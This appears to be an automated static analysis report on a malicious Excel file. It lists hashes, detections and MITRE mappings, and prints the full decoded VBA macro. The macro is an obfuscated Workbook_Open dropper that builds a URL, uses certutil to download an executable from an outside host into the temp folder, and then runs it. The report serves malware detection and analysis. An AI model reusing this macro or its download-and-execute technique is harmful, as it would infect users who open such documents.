Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18c6466a6b5e48dc…

MALICIOUS

Office (OLE)

193.5 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2019-05-31
MD5: 7ec4e7742de077fde05b0b83bb8a1cee SHA-1: 2403bff8753252cb3fdaf1139d511815402a8121 SHA-256: 18c6466a6b5e48dc36050fd25dff58b658adc4a8f13d46d47fac96f555474ebb
436 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 System Binary Proxy Execution: Signed Binary Proxy Execution T1105 Ingress Tool Transfer T1071.001 Application Layer Protocol: Web Protocols

The Workbook_Open macro executes a series of commands to download a file from "https://sohfalwoawiroz.com/data/wed.exe" using certutil. It then saves the file as "C:\systask.exe" and executes it using WScript.Shell. The use of certutil for downloading and WScript.Shell for execution, along with the Workbook_Open trigger, strongly indicates a dropper functionality.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-6954705-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6954705-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    gj = objHTML.ParentWindow.clipboardData.setData("Text", "")
Shell (trfutyjnih)
End Sub
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    ClipboardText = objHTML.ParentWindow.clipboardData.GetData("text")
Set eryd = CreateObject("WScript.Shell")
eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set eryd = CreateObject("WScript.Shell")
eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False
rthybfhd (60)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\\systask.bbc", "bbc", "exe")
Set objHTML = CreateObject("htmlfile")
ff = objHTML.ParentWindow.clipboardData.setData("Text", hh)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
ryqe = Replace(("qsohfalwoawiroz.com/data/wed.bbc"), "bbc", "exe")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    hh = Replace(ryqe, "qsohf", "https://")
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\\systask.bbc", "bbc", "exe")
Set objHTML = CreateObject("htmlfile")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1421 bytes
SHA-256: 3f20ba8183e6a86938c19c68289aeb2f121d5bc9461b6bf755e24eb16bfdfd47
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub mad()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
ryqe = Replace(("qsohfalwoawiroz.com/data/wed.bbc"), "bbc", "exe")
hh = Replace(ryqe, "qsohf", "https://")
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\\systask.bbc", "bbc", "exe")
Set objHTML = CreateObject("htmlfile")
ff = objHTML.ParentWindow.clipboardData.setData("Text", hh)
ClipboardText = objHTML.ParentWindow.clipboardData.GetData("text")
Set eryd = CreateObject("WScript.Shell")
eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False
rthybfhd (60)
gj = objHTML.ParentWindow.clipboardData.setData("Text", "")
Shell (trfutyjnih)
End Sub

Sub rthybfhd(sec)
    Dim temp
    temp = Timer
    Do While Timer - temp < sec
    Loop
End Sub




Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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